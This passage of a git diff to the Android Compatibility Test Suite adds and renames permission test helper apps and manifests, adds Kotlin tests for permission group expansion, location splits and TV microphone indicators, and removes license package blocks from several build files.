+        ":CtsUsePermissionAppSrc",
+    ],
+    static_libs: [
+        "kotlin-stdlib",
+    ],
+    certificate: ":cts-testkey2",
+    min_sdk_version: "22",
+}
diff --git a/tests/tests/permission3/UsePermissionApp22None/AndroidManifest.xml b/tests/tests/permission3/UsePermissionApp22None/AndroidManifest.xml
new file mode 100644
index 0000000..6145204
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionApp22None/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission3.cts.usepermission">
+
+    <uses-sdk android:minSdkVersion="22" android:targetSdkVersion="22" />
+
+    <application>
+        <activity android:name=".CheckCalendarAccessActivity" android:exported="true" />
+        <activity android:name=".FinishOnCreateActivity" android:exported="true" />
+        <activity android:name=".RequestPermissionsActivity" android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/permission3/UsePermissionApp23/Android.bp b/tests/tests/permission3/UsePermissionApp23/Android.bp
index 48ab9dd..a1fc2e2 100644
--- a/tests/tests/permission3/UsePermissionApp23/Android.bp
+++ b/tests/tests/permission3/UsePermissionApp23/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsUsePermissionApp23",
     srcs: [
diff --git a/tests/tests/permission3/UsePermissionApp25/Android.bp b/tests/tests/permission3/UsePermissionApp25/Android.bp
index a5d8873..10f2d9e 100644
--- a/tests/tests/permission3/UsePermissionApp25/Android.bp
+++ b/tests/tests/permission3/UsePermissionApp25/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsUsePermissionApp25",
     srcs: [
diff --git a/tests/tests/permission3/UsePermissionApp26/Android.bp b/tests/tests/permission3/UsePermissionApp26/Android.bp
index c565b75..53e2f10 100644
--- a/tests/tests/permission3/UsePermissionApp26/Android.bp
+++ b/tests/tests/permission3/UsePermissionApp26/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsUsePermissionApp26",
     srcs: [
diff --git a/tests/tests/permission3/UsePermissionApp28/Android.bp b/tests/tests/permission3/UsePermissionApp28/Android.bp
index c15f69c..373462d 100644
--- a/tests/tests/permission3/UsePermissionApp28/Android.bp
+++ b/tests/tests/permission3/UsePermissionApp28/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsUsePermissionApp28",
     srcs: [
diff --git a/tests/tests/permission3/UsePermissionApp29/Android.bp b/tests/tests/permission3/UsePermissionApp29/Android.bp
index f102275..f211ff8 100644
--- a/tests/tests/permission3/UsePermissionApp29/Android.bp
+++ b/tests/tests/permission3/UsePermissionApp29/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsUsePermissionApp29",
     srcs: [
diff --git a/tests/tests/permission3/UsePermissionApp30/Android.bp b/tests/tests/permission3/UsePermissionApp30/Android.bp
new file mode 100644
index 0000000..c584183
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionApp30/Android.bp
@@ -0,0 +1,28 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsUsePermissionApp30",
+    srcs: [
+        ":CtsUsePermissionAppSrc",
+    ],
+    static_libs: [
+        "kotlin-stdlib",
+    ],
+    certificate: ":cts-testkey2",
+
+    min_sdk_version: "30",
+}
diff --git a/tests/tests/permission3/UsePermissionApp30/AndroidManifest.xml b/tests/tests/permission3/UsePermissionApp30/AndroidManifest.xml
new file mode 100644
index 0000000..03654c0
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionApp30/AndroidManifest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission3.cts.usepermission">
+
+    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30" />
+
+    <!-- Request two different permissions within the same group -->
+    <uses-permission android:name="android.permission.SEND_SMS" />
+    <uses-permission android:name="android.permission.RECEIVE_SMS" />
+
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+
+    <uses-permission android:name="android.permission.RECORD_AUDIO" />
+
+    <uses-permission android:name="android.permission.CAMERA" />
+
+    <application>
+        <activity android:name=".CheckCalendarAccessActivity" android:exported="true" />
+        <activity android:name=".FinishOnCreateActivity" android:exported="true" />
+        <activity android:name=".RequestPermissionsActivity" android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/permission3/UsePermissionApp30WithBackground/Android.bp b/tests/tests/permission3/UsePermissionApp30WithBackground/Android.bp
new file mode 100644
index 0000000..5c9fc03
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionApp30WithBackground/Android.bp
@@ -0,0 +1,28 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsUsePermissionApp30WithBackground",
+    srcs: [
+        "src/**/*.kt",
+    ],
+    static_libs: [
+        "kotlin-stdlib",
+    ],
+    certificate: ":cts-testkey2",
+
+    min_sdk_version: "30",
+}
diff --git a/tests/tests/permission3/UsePermissionApp30WithBackground/AndroidManifest.xml b/tests/tests/permission3/UsePermissionApp30WithBackground/AndroidManifest.xml
new file mode 100644
index 0000000..3d41276
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionApp30WithBackground/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission3.cts.usepermission">
+
+    <uses-sdk android:minSdkVersion="30" android:targetSdkVersion="30" />
+
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+
+    <application>
+        <activity android:name=".RequestPermissionsActivity" android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/permission3/UsePermissionAppLatestWithBackground/src/android/permission3/cts/usepermission/RequestPermissionsActivity.kt b/tests/tests/permission3/UsePermissionApp30WithBackground/src/android/permission3/cts/usepermission/RequestPermissionsActivity.kt
similarity index 100%
rename from tests/tests/permission3/UsePermissionAppLatestWithBackground/src/android/permission3/cts/usepermission/RequestPermissionsActivity.kt
rename to tests/tests/permission3/UsePermissionApp30WithBackground/src/android/permission3/cts/usepermission/RequestPermissionsActivity.kt
diff --git a/tests/tests/permission3/UsePermissionAppLatest/Android.bp b/tests/tests/permission3/UsePermissionAppLatest/Android.bp
index 3be83eb..c08ffa6 100644
--- a/tests/tests/permission3/UsePermissionAppLatest/Android.bp
+++ b/tests/tests/permission3/UsePermissionAppLatest/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 filegroup {
     name: "CtsUsePermissionAppSrc",
     srcs: [
diff --git a/tests/tests/permission3/UsePermissionAppLatestNone/Android.bp b/tests/tests/permission3/UsePermissionAppLatestNone/Android.bp
new file mode 100644
index 0000000..f5b0297
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionAppLatestNone/Android.bp
@@ -0,0 +1,26 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsUsePermissionAppLatestNone",
+    srcs: [
+        ":CtsUsePermissionAppSrc",
+    ],
+    static_libs: [
+        "kotlin-stdlib",
+    ],
+    certificate: ":cts-testkey2",
+}
diff --git a/tests/tests/permission3/UsePermissionAppLatestNone/AndroidManifest.xml b/tests/tests/permission3/UsePermissionAppLatestNone/AndroidManifest.xml
new file mode 100644
index 0000000..fa0310e
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionAppLatestNone/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission3.cts.usepermission">
+
+    <application>
+        <activity android:name=".CheckCalendarAccessActivity" android:exported="true" />
+        <activity android:name=".FinishOnCreateActivity" android:exported="true" />
+        <activity android:name=".RequestPermissionsActivity" android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/permission3/UsePermissionAppLatestWithBackground/Android.bp b/tests/tests/permission3/UsePermissionAppLatestWithBackground/Android.bp
deleted file mode 100644
index 7f31ca0..0000000
--- a/tests/tests/permission3/UsePermissionAppLatestWithBackground/Android.bp
+++ /dev/null
@@ -1,30 +0,0 @@
-//
-// Copyright (C) 2020 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test_helper_app {
-    name: "CtsUsePermissionAppLatestWithBackground",
-    srcs: [
-        "src/**/*.kt",
-    ],
-    static_libs: [
-        "kotlin-stdlib",
-    ],
-    certificate: ":cts-testkey2",
-}
diff --git a/tests/tests/permission3/UsePermissionAppLatestWithBackground/AndroidManifest.xml b/tests/tests/permission3/UsePermissionAppLatestWithBackground/AndroidManifest.xml
deleted file mode 100644
index adf2eac..0000000
--- a/tests/tests/permission3/UsePermissionAppLatestWithBackground/AndroidManifest.xml
+++ /dev/null
@@ -1,29 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-
-<!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-
-<manifest
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.permission3.cts.usepermission">
-
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
-
-    <application>
-        <activity android:name=".RequestPermissionsActivity" android:exported="true" />
-    </application>
-</manifest>
diff --git a/tests/tests/permission3/UsePermissionAppWithOverlay/Android.bp b/tests/tests/permission3/UsePermissionAppWithOverlay/Android.bp
index 2a4beab..da87122 100644
--- a/tests/tests/permission3/UsePermissionAppWithOverlay/Android.bp
+++ b/tests/tests/permission3/UsePermissionAppWithOverlay/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsUsePermissionAppWithOverlay",
     srcs: [
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index 9721517..0c59dc5 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -27,7 +27,7 @@
 import android.support.test.uiautomator.BySelector
 import android.support.test.uiautomator.UiDevice
 import android.support.test.uiautomator.UiObject2
-import androidx.test.InstrumentationRegistry
+import androidx.test.platform.app.InstrumentationRegistry
 import androidx.test.rule.ActivityTestRule
 import com.android.compatibility.common.util.SystemUtil.runShellCommand
 import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index d313ced..8ec8a91 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -45,14 +45,17 @@
         const val APP_APK_PATH_22 = "$APK_DIRECTORY/CtsUsePermissionApp22.apk"
         const val APP_APK_PATH_22_CALENDAR_ONLY =
             "$APK_DIRECTORY/CtsUsePermissionApp22CalendarOnly.apk"
+        const val APP_APK_PATH_22_NONE = "$APK_DIRECTORY/CtsUsePermissionApp22None.apk"
         const val APP_APK_PATH_23 = "$APK_DIRECTORY/CtsUsePermissionApp23.apk"
         const val APP_APK_PATH_25 = "$APK_DIRECTORY/CtsUsePermissionApp25.apk"
         const val APP_APK_PATH_26 = "$APK_DIRECTORY/CtsUsePermissionApp26.apk"
         const val APP_APK_PATH_28 = "$APK_DIRECTORY/CtsUsePermissionApp28.apk"
         const val APP_APK_PATH_29 = "$APK_DIRECTORY/CtsUsePermissionApp29.apk"
+        const val APP_APK_PATH_30 = "$APK_DIRECTORY/CtsUsePermissionApp30.apk"
+        const val APP_APK_PATH_30_WITH_BACKGROUND =
+                "$APK_DIRECTORY/CtsUsePermissionApp30WithBackground.apk"
         const val APP_APK_PATH_LATEST = "$APK_DIRECTORY/CtsUsePermissionAppLatest.apk"
-        const val APP_APK_PATH_LATEST_WITH_BACKGROUND =
-                "$APK_DIRECTORY/CtsUsePermissionAppLatestWithBackground.apk"
+        const val APP_APK_PATH_LATEST_NONE = "$APK_DIRECTORY/CtsUsePermissionAppLatestNone.apk"
         const val APP_APK_PATH_WITH_OVERLAY = "$APK_DIRECTORY/CtsUsePermissionAppWithOverlay.apk"
         const val APP_PACKAGE_NAME = "android.permission3.cts.usepermission"
 
@@ -241,6 +244,11 @@
         val result = requestAppPermissions(*permissions, block = block)
         assertEquals(Activity.RESULT_OK, result.resultCode)
         assertEquals(
+            result.resultData!!.getStringArrayExtra("$APP_PACKAGE_NAME.PERMISSIONS")!!.size,
+            result.resultData!!.getIntArrayExtra("$APP_PACKAGE_NAME.GRANT_RESULTS")!!.size
+        )
+
+        assertEquals(
             permissionAndExpectedGrantResults.toList(),
             result.resultData!!.getStringArrayExtra("$APP_PACKAGE_NAME.PERMISSIONS")!!
                 .zip(
@@ -408,6 +416,7 @@
         for (permission in permissions) {
             // Find the permission screen
             val permissionLabel = getPermissionLabel(permission)
+            UiScrollable(UiSelector().scrollable(true)).scrollTextIntoView(permissionLabel)
             click(By.text(permissionLabel))
             val wasGranted = if (isAutomotive) {
                 // Automotive doesn't support one time permissions, and thus
diff --git a/tests/tests/permission3/src/android/permission3/cts/NoPermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/NoPermissionTest.kt
new file mode 100644
index 0000000..1d8ed8e
--- /dev/null
+++ b/tests/tests/permission3/src/android/permission3/cts/NoPermissionTest.kt
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission3.cts
+
+import android.app.Activity
+import androidx.test.runner.AndroidJUnit4
+import org.junit.Test
+import org.junit.runner.RunWith
+
+@RunWith(AndroidJUnit4::class)
+class NoPermissionTest : BaseUsePermissionTest() {
+    @Test
+    fun testStartActivity22() {
+        installPackage(APP_APK_PATH_22_NONE)
+
+        startAppActivityAndAssertResultCode(Activity.RESULT_OK) {}
+
+        clearTargetSdkWarning()
+    }
+
+    @Test
+    fun testStartActivityLatest() {
+        installPackage(APP_APK_PATH_LATEST_NONE)
+
+        startAppActivityAndAssertResultCode(Activity.RESULT_OK) {}
+    }
+}
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionGroupTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionGroupTest.kt
index ee8a42f..9e4ef47 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionGroupTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionGroupTest.kt
@@ -41,11 +41,31 @@
     }
 
     @Test
-    fun testRuntimeGroupGrantExpansionLatest() {
-        installPackage(APP_APK_PATH_LATEST)
+    fun testRuntimeGroupGrantExpansion30() {
+        installPackage(APP_APK_PATH_30)
         testRuntimeGroupGrantExpansion(false)
     }
 
+    @Test
+    fun testPartiallyGrantedGroupExpansion() {
+        installPackage(APP_APK_PATH_30)
+
+        // Start out without permission
+        assertAppHasPermission(android.Manifest.permission.RECEIVE_SMS, false)
+        assertAppHasPermission(android.Manifest.permission.SEND_SMS, false)
+
+        // Grant only RECEIVE_SMS
+        uiAutomation.grantRuntimePermission(APP_PACKAGE_NAME,
+            android.Manifest.permission.RECEIVE_SMS)
+	assertAppHasPermission(android.Manifest.permission.RECEIVE_SMS, true)
+
+        // Request both permissions, and expect that SEND_SMS is granted
+        requestAppPermissionsAndAssertResult(android.Manifest.permission.RECEIVE_SMS to true,
+            android.Manifest.permission.SEND_SMS to true) { }
+
+        assertAppHasPermission(android.Manifest.permission.SEND_SMS, true)
+    }
+
     private fun testRuntimeGroupGrantExpansion(expectExpansion: Boolean) {
         // Start out without permission
         assertAppHasPermission(android.Manifest.permission.RECEIVE_SMS, false)
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionSplitTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionSplitTest.kt
index 54a0e36..22074f7 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionSplitTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionSplitTest.kt
@@ -42,6 +42,12 @@
     }
 
     @Test
+    fun testPermissionNotSplit30() {
+        installPackage(APP_APK_PATH_30)
+        testLocationPermissionSplit(false)
+    }
+
+    @Test
     fun testPermissionNotSplitLatest() {
         installPackage(APP_APK_PATH_LATEST)
         testLocationPermissionSplit(false)
@@ -52,7 +58,7 @@
         assertAppHasPermission(android.Manifest.permission.ACCESS_BACKGROUND_LOCATION, false)
 
         requestAppPermissionsAndAssertResult(
-            android.Manifest.permission.ACCESS_FINE_LOCATION to true
+                android.Manifest.permission.ACCESS_FINE_LOCATION to true
         ) {
             if (expectSplit) {
                 clickPermissionRequestSettingsLinkAndAllowAlways()
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
index 1272355..614cdc6 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
@@ -27,7 +27,7 @@
 
     @Test
     fun testCantRequestFgAndBgAtOnce() {
-        installPackage(APP_APK_PATH_LATEST_WITH_BACKGROUND)
+        installPackage(APP_APK_PATH_30_WITH_BACKGROUND)
         assertAppHasPermission(ACCESS_FINE_LOCATION, false)
         assertAppHasPermission(ACCESS_BACKGROUND_LOCATION, false)
 
@@ -39,7 +39,7 @@
 
     @Test
     fun testRequestBothInSequence() {
-        installPackage(APP_APK_PATH_LATEST_WITH_BACKGROUND)
+        installPackage(APP_APK_PATH_30_WITH_BACKGROUND)
         assertAppHasPermission(ACCESS_FINE_LOCATION, false)
         assertAppHasPermission(ACCESS_BACKGROUND_LOCATION, false)
 
diff --git a/tests/tests/permission4/Android.bp b/tests/tests/permission4/Android.bp
index ed39021..3ba2d32 100644
--- a/tests/tests/permission4/Android.bp
+++ b/tests/tests/permission4/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsPermission4TestCases",
     sdk_version: "system_current",
@@ -31,6 +27,7 @@
         "androidx.test.rules",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
+        "cts-wm-util",
     ],
     test_suites: [
         "cts",
diff --git a/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp b/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
index 4cdcf3e..508e44c 100644
--- a/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
+++ b/tests/tests/permission4/AppThatAccessesCameraAndMic/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppThatAccessesMicAndCameraPermission",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
index 0f36f5a..5d0ca66 100644
--- a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
+++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt
@@ -26,6 +26,7 @@
 import android.os.Process
 import android.provider.DeviceConfig
 import android.provider.Settings
+import android.server.wm.WindowManagerStateHelper
 import android.support.test.uiautomator.By
 import android.support.test.uiautomator.UiDevice
 import android.support.test.uiautomator.UiSelector
@@ -51,6 +52,7 @@
 private const val IDLE_TIMEOUT_MILLIS: Long = 1000
 private const val UNEXPECTED_TIMEOUT_MILLIS = 1000
 private const val TIMEOUT_MILLIS: Long = 20000
+private const val TV_MIC_INDICATOR_WINDOW_TITLE = "MicrophoneCaptureIndicator"
 
 class CameraMicIndicatorsPermissionTest {
     private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
@@ -115,6 +117,9 @@
             )
         }
 
+        pressBack()
+        pressBack()
+        pressHome()
         pressHome()
     }
 
@@ -144,7 +149,28 @@
             val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
             assertTrue("View with text $APP_LABEL not found", appView.exists())
         }
-        uiDevice.openNotification()
+
+        if (packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
+            assertTvIndicatorsShown(useMic, useCamera)
+        } else {
+            uiDevice.openNotification()
+            assertPrivacyChipAndIndicatorsPresent(useMic, useCamera)
+        }
+    }
+
+    private fun assertTvIndicatorsShown(useMic: Boolean, useCamera: Boolean) {
+        if (useMic) {
+            WindowManagerStateHelper().waitFor("Waiting for the mic indicator window to come up") {
+                it.containsWindow(TV_MIC_INDICATOR_WINDOW_TITLE) &&
+                        it.isWindowVisible(TV_MIC_INDICATOR_WINDOW_TITLE)
+            }
+        }
+        if (useCamera) {
+            // There is no camera indicator on TVs.
+        }
+    }
+
+    private fun assertPrivacyChipAndIndicatorsPresent(useMic: Boolean, useCamera: Boolean) {
         // Ensure the privacy chip is present
         eventually {
             val privacyChip = uiDevice.findObject(UiSelector().resourceId(PRIVACY_CHIP_ID))
@@ -163,7 +189,6 @@
             val appView = uiDevice.findObject(UiSelector().textContains(APP_LABEL))
             assertTrue("View with text $APP_LABEL not found", appView.exists())
         }
-        pressBack()
     }
 
     private fun pressBack() {
diff --git a/tests/tests/preference/Android.bp b/tests/tests/preference/Android.bp
index 46aa9eb..4d99904 100644
--- a/tests/tests/preference/Android.bp
+++ b/tests/tests/preference/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsPreferenceTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/print/Android.bp b/tests/tests/print/Android.bp
index 23ed10c..74afe97 100644
--- a/tests/tests/print/Android.bp
+++ b/tests/tests/print/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsPrintTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/print/AndroidManifest.xml b/tests/tests/print/AndroidManifest.xml
index b3c3f59..746f970 100644
--- a/tests/tests/print/AndroidManifest.xml
+++ b/tests/tests/print/AndroidManifest.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!--
     Copyright (C) 2014 The Android Open Source Project
 
@@ -17,72 +16,66 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.print.cts" android:targetSandboxVersion="2">
+     package="android.print.cts"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
 
-    <application android:allowBackup="false" >
+    <application android:allowBackup="false">
 
         <uses-library android:name="android.test.runner"/>
 
-        <activity
-            android:name="android.print.test.PrintDocumentActivity"
-            android:configChanges="mnc|mnc|touchscreen|navigation|screenLayout|screenSize|smallestScreenSize|orientation|locale|keyboard|keyboardHidden|fontScale|uiMode|layoutDirection|density"
-            android:theme="@style/NoAnimation" />
+        <activity android:name="android.print.test.PrintDocumentActivity"
+             android:configChanges="mnc|mnc|touchscreen|navigation|screenLayout|screenSize|smallestScreenSize|orientation|locale|keyboard|keyboardHidden|fontScale|uiMode|layoutDirection|density"
+             android:theme="@style/NoAnimation"/>
 
-        <service
-            android:name="android.print.test.services.FirstPrintService"
-            android:permission="android.permission.BIND_PRINT_SERVICE">
+        <service android:name="android.print.test.services.FirstPrintService"
+             android:permission="android.permission.BIND_PRINT_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.printservice.PrintService" />
+                <action android:name="android.printservice.PrintService"/>
             </intent-filter>
-            <meta-data
-               android:name="android.printservice"
-               android:resource="@xml/printservice">
+            <meta-data android:name="android.printservice"
